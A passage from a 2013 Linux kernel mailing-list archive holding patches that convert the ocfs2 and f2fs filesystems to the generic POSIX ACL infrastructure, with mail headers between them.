OCFS2_MOUNT_POSIX_ACL)) - return 0; - - acl = ocfs2_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (ret) - return ret; - ret = ocfs2_set_acl(NULL, inode, NULL, ACL_TYPE_ACCESS, - acl, NULL, NULL); - posix_acl_release(acl); - return ret; -} - -/* - * Initialize the ACLs of a new inode. If parent directory has default ACL, - * then clone to new inode. Called from ocfs2_mknod. - */ -int ocfs2_init_acl(handle_t *handle, - struct inode *inode, - struct inode *dir, - struct buffer_head *di_bh, - struct buffer_head *dir_bh, - struct ocfs2_alloc_context *meta_ac, - struct ocfs2_alloc_context *data_ac) -{ - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct posix_acl *acl = NULL; - int ret = 0, ret2; - umode_t mode; - - if (!S_ISLNK(inode->i_mode)) { - if (osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL) { - acl = ocfs2_get_acl_nolock(dir, ACL_TYPE_DEFAULT, - dir_bh); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) { - mode = inode->i_mode & ~current_umask(); - ret = ocfs2_acl_set_mode(inode, di_bh, handle, mode); - if (ret) { - mlog_errno(ret); - goto cleanup; - } - } - } - if ((osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - ret = ocfs2_set_acl(handle, inode, di_bh, - ACL_TYPE_DEFAULT, acl, - meta_ac, data_ac); - if (ret) - goto cleanup; - } - mode = inode->i_mode; - ret = __posix_acl_create(&acl, GFP_NOFS, &mode); - if (ret < 0) - return ret; - - ret2 = ocfs2_acl_set_mode(inode, di_bh, handle, mode); - if (ret2) { - mlog_errno(ret2); - ret = ret2; - goto cleanup; - } - if (ret > 0) { - ret = ocfs2_set_acl(handle, inode, - di_bh, ACL_TYPE_ACCESS, - acl, meta_ac, data_ac); - } - } -cleanup: - posix_acl_release(acl); - return ret; -} - -static size_t ocfs2_xattr_list_acl_access(struct dentry *dentry, - char *list, - size_t list_len, - const char *name, - size_t name_len, - int type) -{ - struct ocfs2_super *osb = OCFS2_SB(dentry->d_sb); - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return 0; - - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t ocfs2_xattr_list_acl_default(struct dentry *dentry, - char *list, - size_t list_len, - const char *name, - size_t name_len, - int type) -{ - struct ocfs2_super *osb = OCFS2_SB(dentry->d_sb); - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return 0; - - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int ocfs2_xattr_get_acl(struct dentry *dentry, const char *name, - void *buffer, size_t size, int type) -{ - struct ocfs2_super *osb = OCFS2_SB(dentry->d_sb); - struct posix_acl *acl; - int ret; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ocfs2_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - ret = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return ret; -} - -static int ocfs2_xattr_set_acl(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct posix_acl *acl; - int ret = 0; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return -EOPNOTSUPP; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - ret = posix_acl_valid(acl); - if (ret) - goto cleanup; - } - } else - acl = NULL; - - ret = ocfs2_set_acl(NULL, inode, NULL, type, acl, NULL, NULL); - -cleanup: - posix_acl_release(acl); - return ret; -} - -const struct xattr_handler ocfs2_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ocfs2_xattr_list_acl_access, - .get = ocfs2_xattr_get_acl, - .set = ocfs2_xattr_set_acl, -}; - -const struct xattr_handler ocfs2_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ocfs2_xattr_list_acl_default, - .get = ocfs2_xattr_get_acl, - .set = ocfs2_xattr_set_acl, -}; diff --git a/fs/ocfs2/acl.h b/fs/ocfs2/acl.h index 071fbd38..3fce68d 100644 --- a/fs/ocfs2/acl.h +++ b/fs/ocfs2/acl.h @@ -27,10 +27,13 @@ struct ocfs2_acl_entry { }; struct posix_acl *ocfs2_iop_get_acl(struct inode *inode, int type); -extern int ocfs2_acl_chmod(struct inode *); -extern int ocfs2_init_acl(handle_t *, struct inode *, struct inode *, - struct buffer_head *, struct buffer_head *, - struct ocfs2_alloc_context *, - struct ocfs2_alloc_context *); +int ocfs2_iop_set_acl(struct inode *inode, struct posix_acl *acl, int type); +int ocfs2_set_acl(handle_t *handle, + struct inode *inode, + struct buffer_head *di_bh, + int type, + struct posix_acl *acl, + struct ocfs2_alloc_context *meta_ac, + struct ocfs2_alloc_context *data_ac); #endif /* OCFS2_ACL_H */ diff --git a/fs/ocfs2/file.c b/fs/ocfs2/file.c index 6fff128..014a38e 100644 --- a/fs/ocfs2/file.c +++ b/fs/ocfs2/file.c @@ -1236,7 +1236,7 @@ bail: dqput(transfer_to[qtype]); if (!status && attr->ia_valid & ATTR_MODE) { - status = ocfs2_acl_chmod(inode); + status = posix_acl_chmod(inode, inode->i_mode); if (status < 0) mlog_errno(status); } @@ -2661,6 +2661,7 @@ const struct inode_operations ocfs2_file_iops = { .removexattr = generic_removexattr, .fiemap = ocfs2_fiemap, .get_acl = ocfs2_iop_get_acl, + .set_acl = ocfs2_iop_set_acl, }; const struct inode_operations ocfs2_special_file_iops = { @@ -2668,6 +2669,7 @@ const struct inode_operations ocfs2_special_file_iops = { .getattr = ocfs2_getattr, .permission = ocfs2_permission, .get_acl = ocfs2_iop_get_acl, + .set_acl = ocfs2_iop_set_acl, }; /* diff --git a/fs/ocfs2/namei.c b/fs/ocfs2/namei.c index 4f791f6..c975eed 100644 --- a/fs/ocfs2/namei.c +++ b/fs/ocfs2/namei.c @@ -230,6 +230,7 @@ static int ocfs2_mknod(struct inode *dir, struct ocfs2_dir_lookup_result lookup = { NULL, }; sigset_t oldset; int did_block_signals = 0; + struct posix_acl *default_acl = NULL, *acl = NULL; trace_ocfs2_mknod(dir, dentry, dentry->d_name.len, dentry->d_name.name, (unsigned long long)OCFS2_I(dir)->ip_blkno, @@ -331,6 +332,12 @@ static int ocfs2_mknod(struct inode *dir, goto leave; } + status = posix_acl_create(dir, &mode, &default_acl, &acl); + if (status) { + mlog_errno(status); + goto leave; + } + handle = ocfs2_start_trans(osb, ocfs2_mknod_credits(osb->sb, S_ISDIR(mode), xattr_credits)); @@ -379,8 +386,17 @@ static int ocfs2_mknod(struct inode *dir, inc_nlink(dir); } - status = ocfs2_init_acl(handle, inode, dir, new_fe_bh, parent_fe_bh, - meta_ac, data_ac); + if (default_acl) { + status = ocfs2_set_acl(handle, inode, new_fe_bh, + ACL_TYPE_DEFAULT, default_acl, + meta_ac, data_ac); + } + if (!status && acl) { + status = ocfs2_set_acl(handle, inode, new_fe_bh, + ACL_TYPE_ACCESS, acl, + meta_ac, data_ac); + } + if (status < 0) { mlog_errno(status); goto leave; @@ -419,6 +435,10 @@ static int ocfs2_mknod(struct inode *dir, d_instantiate(dentry, inode); status = 0; leave: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); if (status < 0 && did_quota_inode) dquot_free_inode(inode); if (handle) @@ -2504,4 +2524,5 @@ const struct inode_operations ocfs2_dir_iops = { .removexattr = generic_removexattr, .fiemap = ocfs2_fiemap, .get_acl = ocfs2_iop_get_acl, + .set_acl = ocfs2_iop_set_acl, }; diff --git a/fs/ocfs2/refcounttree.c b/fs/ocfs2/refcounttree.c index 55767e1..6ba4bcb 100644 --- a/fs/ocfs2/refcounttree.c +++ b/fs/ocfs2/refcounttree.c @@ -46,6 +46,7 @@ #include #include #include +#include struct ocfs2_cow_context { struct inode *inode; @@ -4268,11 +4269,20 @@ static int ocfs2_reflink(struct dentry *old_dentry, struct inode *dir, struct inode *inode = old_dentry->d_inode; struct buffer_head *old_bh = NULL; struct inode *new_orphan_inode = NULL; + struct posix_acl *default_acl, *acl; + umode_t mode; if (!ocfs2_refcount_tree(OCFS2_SB(inode->i_sb))) return -EOPNOTSUPP; - error = ocfs2_create_inode_in_orphan(dir, inode->i_mode, + mode = inode->i_mode; + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) { + mlog_errno(error); + goto out; + } + + error = ocfs2_create_inode_in_orphan(dir, mode, &new_orphan_inode); if (error) { mlog_errno(error); @@ -4303,11 +4313,16 @@ static int ocfs2_reflink(struct dentry *old_dentry, struct inode *dir, /* If the security isn't preserved, we need to re-initialize them. */ if (!preserve) { error = ocfs2_init_security_and_acl(dir, new_orphan_inode, - &new_dentry->d_name); + &new_dentry->d_name, + default_acl, acl); if (error) mlog_errno(error); } out: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); if (!error) { error = ocfs2_mv_orphaned_inode_to_new(dir, new_orphan_inode, new_dentry); diff --git a/fs/ocfs2/xattr.c b/fs/ocfs2/xattr.c index f0a1326..185fa3b7 100644 --- a/fs/ocfs2/xattr.c +++ b/fs/ocfs2/xattr.c @@ -99,8 +99,8 @@ static struct ocfs2_xattr_def_value_root def_xv = { const struct xattr_handler *ocfs2_xattr_handlers[] = { &ocfs2_xattr_user_handler, - &ocfs2_xattr_acl_access_handler, - &ocfs2_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, &ocfs2_xattr_trusted_handler, &ocfs2_xattr_security_handler, NULL @@ -109,9 +109,9 @@ const struct xattr_handler *ocfs2_xattr_handlers[] = { static const struct xattr_handler *ocfs2_xattr_handler_map[OCFS2_XATTR_MAX] = { [OCFS2_XATTR_INDEX_USER] = &ocfs2_xattr_user_handler, [OCFS2_XATTR_INDEX_POSIX_ACL_ACCESS] - = &ocfs2_xattr_acl_access_handler, + = &posix_acl_access_xattr_handler, [OCFS2_XATTR_INDEX_POSIX_ACL_DEFAULT] - = &ocfs2_xattr_acl_default_handler, + = &posix_acl_default_xattr_handler, [OCFS2_XATTR_INDEX_TRUSTED] = &ocfs2_xattr_trusted_handler, [OCFS2_XATTR_INDEX_SECURITY] = &ocfs2_xattr_security_handler, }; @@ -7190,10 +7190,12 @@ out: */ int ocfs2_init_security_and_acl(struct inode *dir, struct inode *inode, - const struct qstr *qstr) + const struct qstr *qstr, + struct posix_acl *default_acl, + struct posix_acl *acl) { - int ret = 0; struct buffer_head *dir_bh = NULL; + int ret = 0; ret = ocfs2_init_security_get(inode, dir, qstr, NULL); if (ret) { @@ -7207,9 +7209,10 @@ int ocfs2_init_security_and_acl(struct inode *dir, goto leave; } - ret = ocfs2_init_acl(NULL, inode, dir, NULL, dir_bh, NULL, NULL); - if (ret) - mlog_errno(ret); + if (!ret && default_acl) + ret = ocfs2_iop_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + if (!ret && acl) + ret = ocfs2_iop_set_acl(inode, acl, ACL_TYPE_ACCESS); ocfs2_inode_unlock(dir, 0); brelse(dir_bh); diff --git a/fs/ocfs2/xattr.h b/fs/ocfs2/xattr.h index 19f134e..f10d5b9 100644 --- a/fs/ocfs2/xattr.h +++ b/fs/ocfs2/xattr.h @@ -40,8 +40,6 @@ struct ocfs2_security_xattr_info { extern const struct xattr_handler ocfs2_xattr_user_handler; extern const struct xattr_handler ocfs2_xattr_trusted_handler; extern const struct xattr_handler ocfs2_xattr_security_handler; -extern const struct xattr_handler ocfs2_xattr_acl_access_handler; -extern const struct xattr_handler ocfs2_xattr_acl_default_handler; extern const struct xattr_handler *ocfs2_xattr_handlers[]; ssize_t ocfs2_listxattr(struct dentry *, char *, size_t); @@ -96,5 +94,7 @@ int ocfs2_reflink_xattrs(struct inode *old_inode, bool preserve_security); int ocfs2_init_security_and_acl(struct inode *dir, struct inode *inode, - const struct qstr *qstr); + const struct qstr *qstr, + struct posix_acl *default_acl, + struct posix_acl *acl); #endif /* OCFS2_XATTR_H */ -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DF4A229E30 for ; Fri, 20 Dec 2013 07:25:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7D434AC00C for ; Fri, 20 Dec 2013 05:25:38 -0800 (PST) X-ASG-Debug-ID: 1387545936-04cb6c537c86c390001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 1wwwQiXbCNbK68OU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:37 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04w-0003HQ-Vx; Fri, 20 Dec 2013 13:25:23 +0000 Message-Id: <20131220132522.854727239@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:45 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jaegeuk Kim Subject: [PATCH 10/21] f2fs: use generic posix ACL infrastructure References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 10/21] f2fs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0010-f2fs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545937 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header f2fs has some weird mode bit handling, so still using the old chmod code for now. Signed-off-by: Christoph Hellwig Reviewed-by: Jaegeuk Kim --- fs/f2fs/acl.c | 174 ++++++------------------------------------------------- fs/f2fs/acl.h | 7 +-- fs/f2fs/f2fs.h | 4 ++ fs/f2fs/file.c | 3 +- fs/f2fs/namei.c | 2 + fs/f2fs/xattr.c | 9 +-- fs/f2fs/xattr.h | 2 - 7 files changed, 31 insertions(+), 170 deletions(-) diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index 45e8430..fa8da4c 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -17,9 +17,6 @@ #include "xattr.h" #include "acl.h" -#define get_inode_mode(i) ((is_inode_flag_set(F2FS_I(i), FI_ACL_MODE)) ? \ - (F2FS_I(i)->i_acl_mode) : ((i)->i_mode)) - static inline size_t f2fs_acl_size(int count) { if (count <= 4) { @@ -167,19 +164,11 @@ fail: struct posix_acl *f2fs_get_acl(struct inode *inode, int type) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); int name_index = F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT; void *value = NULL; struct posix_acl *acl; int retval; - if (!test_opt(sbi, POSIX_ACL)) - return NULL; - - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - if (type == ACL_TYPE_ACCESS) name_index = F2FS_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -205,21 +194,15 @@ struct posix_acl *f2fs_get_acl(struct inode *inode, int type) return acl; } -static int f2fs_set_acl(struct inode *inode, int type, +static int __f2fs_set_acl(struct inode *inode, int type, struct posix_acl *acl, struct page *ipage) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); struct f2fs_inode_info *fi = F2FS_I(inode); int name_index; void *value = NULL; size_t size = 0; int error; - if (!test_opt(sbi, POSIX_ACL)) - return 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch (type) { case ACL_TYPE_ACCESS: name_index = F2FS_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -261,154 +244,31 @@ static int f2fs_set_acl(struct inode *inode, int type, return error; } -int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) +int f2fs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct f2fs_sb_info *sbi = F2FS_SB(dir->i_sb); - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(sbi, POSIX_ACL)) { - acl = f2fs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - - if (!test_opt(sbi, POSIX_ACL) || !acl) - goto cleanup; - - if (S_ISDIR(inode->i_mode)) { - error = f2fs_set_acl(inode, ACL_TYPE_DEFAULT, acl, ipage); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (error < 0) - return error; - if (error > 0) - error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, ipage); -cleanup: - posix_acl_release(acl); - return error; + return __f2fs_set_acl(inode, type, acl, NULL); } -int f2fs_acl_chmod(struct inode *inode) +int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct posix_acl *acl; - int error; - umode_t mode = get_inode_mode(inode); - - if (!test_opt(sbi, POSIX_ACL)) - return 0; - if (S_ISLNK(mode)) - return -EOPNOTSUPP; - - acl = f2fs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); + struct posix_acl *default_acl, *acl; + int error = 0; - error = __posix_acl_chmod(&acl, GFP_KERNEL, mode); + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); if (error) return error; - error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, NULL); - posix_acl_release(acl); - return error; -} - -static size_t f2fs_xattr_list_acl(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) -{ - struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); - const char *xname = POSIX_ACL_XATTR_DEFAULT; - size_t size; - - if (!test_opt(sbi, POSIX_ACL)) - return 0; - - if (type == ACL_TYPE_ACCESS) - xname = POSIX_ACL_XATTR_ACCESS; - - size = strlen(xname) + 1; - if (list && size <= list_size) - memcpy(list, xname, size); - return size; -} - -static int f2fs_xattr_get_acl(struct dentry *dentry, const char *name, - void *buffer, size_t size, int type) -{ - struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(sbi, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = f2fs_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int f2fs_xattr_set_acl(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(sbi, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else { - acl = NULL; + if (default_acl) { + error = __f2fs_set_acl(inode, ACL_TYPE_DEFAULT, default_acl, + ipage); + posix_acl_release(default_acl); + } + if (acl) { + if (error) + error = __f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, + ipage); + posix_acl_release(acl); } - error = f2fs_set_acl(inode, type, acl, NULL); - -release_and_out: - posix_acl_release(acl); return error; } - -const struct xattr_handler f2fs_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = f2fs_xattr_list_acl, - .get = f2fs_xattr_get_acl, - .set = f2fs_xattr_set_acl, -}; - -const struct xattr_handler f2fs_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = f2fs_xattr_list_acl, - .get = f2fs_xattr_get_acl, - .set = f2fs_xattr_set_acl, -}; diff --git a/fs/f2fs/acl.h b/fs/f2fs/acl.h index 4963313..e086465 100644 --- a/fs/f2fs/acl.h +++ b/fs/f2fs/acl.h @@ -37,18 +37,13 @@ struct f2fs_acl_header { #ifdef CONFIG_F2FS_FS_POSIX_ACL extern struct posix_acl *f2fs_get_acl(struct inode *, int); -extern int f2fs_acl_chmod(struct inode *); +extern int f2fs_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int f2fs_init_acl(struct inode *, struct inode *, struct page *); #else #define f2fs_check_acl NULL #define f2fs_get_acl NULL #define f2fs_set_acl NULL -static inline int f2fs_acl_chmod(struct inode *inode) -{ - return 0; -} - static inline int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *page) { diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h index 89dc750..934b59c 100644 --- a/fs/f2fs/f2fs.h +++ b/fs/f2fs/f2fs.h @@ -953,6 +953,10 @@ static inline int f2fs_readonly(struct super_block *sb) return sb->s_flags & MS_RDONLY; } +#define get_inode_mode(i) \ + ((is_inode_flag_set(F2FS_I(i), FI_ACL_MODE)) ? \ + (F2FS_I(i)->i_acl_mode) : ((i)->i_mode)) + /* * file.c */ diff --git a/fs/f2fs/file.c b/fs/f2fs/file.c index 7d714f4..cf835e0 100644 --- a/fs/f2fs/file.c +++ b/fs/f2fs/file.c @@ -390,7 +390,7 @@ int f2fs_setattr(struct dentry *dentry, struct iattr *attr) __setattr_copy(inode, attr); if (attr->ia_valid & ATTR_MODE) { - err = f2fs_acl_chmod(inode); + err = posix_acl_chmod(inode, get_inode_mode(inode)); if (err || is_inode_flag_set(fi, FI_ACL_MODE)) { inode->i_mode = fi->i_acl_mode; clear_inode_flag(fi, FI_ACL_MODE); @@ -405,6 +405,7 @@ const struct inode_operations f2fs_file_inode_operations = { .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, + .set_acl = f2fs_set_acl, #ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, .getxattr = generic_getxattr, diff --git a/fs/f2fs/namei.c b/fs/f2fs/namei.c index 575adac..5846eeb 100644 --- a/fs/f2fs/namei.c +++ b/fs/f2fs/namei.c @@ -496,6 +496,7 @@ const struct inode_operations f2fs_dir_inode_operations = { .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, + .set_acl = f2fs_set_acl, #ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, .getxattr = generic_getxattr, @@ -522,6 +523,7 @@ const struct inode_operations f2fs_special_inode_operations = { .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, + .set_acl = f2fs_set_acl, #ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, .getxattr = generic_getxattr, diff --git a/fs/f2fs/xattr.c b/fs/f2fs/xattr.c index aa7a3f1..e2b9299 100644 --- a/fs/f2fs/xattr.c +++ b/fs/f2fs/xattr.c @@ -21,6 +21,7 @@ #include #include #include +#include #include "f2fs.h" #include "xattr.h" @@ -216,8 +217,8 @@ const struct xattr_handler f2fs_xattr_security_handler = { static const struct xattr_handler *f2fs_xattr_handler_map[] = { [F2FS_XATTR_INDEX_USER] = &f2fs_xattr_user_handler, #ifdef CONFIG_F2FS_FS_POSIX_ACL - [F2FS_XATTR_INDEX_POSIX_ACL_ACCESS] = &f2fs_xattr_acl_access_handler, - [F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT] = &f2fs_xattr_acl_default_handler, + [F2FS_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [F2FS_XATTR_INDEX_TRUSTED] = &f2fs_xattr_trusted_handler, #ifdef CONFIG_F2FS_FS_SECURITY @@ -229,8 +230,8 @@ static const struct xattr_handler *f2fs_xattr_handler_map[] = { const struct xattr_handler *f2fs_xattr_handlers[] = { &f2fs_xattr_user_handler, #ifdef CONFIG_F2FS_FS_POSIX_ACL - &f2fs_xattr_acl_access_handler, - &f2fs_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif &f2fs_xattr_trusted_handler, #ifdef CONFIG_F2FS_FS_SECURITY diff --git a/fs/f2fs/xattr.h b/fs/f2fs/xattr.h index 02a08fb..b21d9eb 100644 --- a/fs/f2fs/xattr.h +++ b/fs/f2fs/xattr.h @@ -108,8 +108,6 @@ struct f2fs_xattr_entry { #ifdef CONFIG_F2FS_FS_XATTR extern const struct xattr_handler f2fs_xattr_user_handler; extern const struct xattr_handler f2fs_xattr_trusted_handler; -extern const struct xattr_handler f2fs_xattr_acl_access_handler; -extern const struct xattr_handler f2fs_xattr_acl_default_handler; extern const struct xattr_handler f2fs_xattr_advise_handler; extern const struct xattr_handler f2fs_xattr_security_handler; -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0884429E10 for ; Fri, 20 Dec 2013 07:25:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7D7C5AC00C for ; Fri, 20 Dec 2013 05:25:39 -0800 (PST) X-ASG-Debug-ID: 1387545936-04cbb04168864450001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 0TFgcFAV3dM0TFF8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:36 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04y-0003MO-Fk; Fri, 20 Dec 2013 13:25:24 +0000 Message-Id: <20131220132524.363611513@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:53 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 18/21] nfs: use 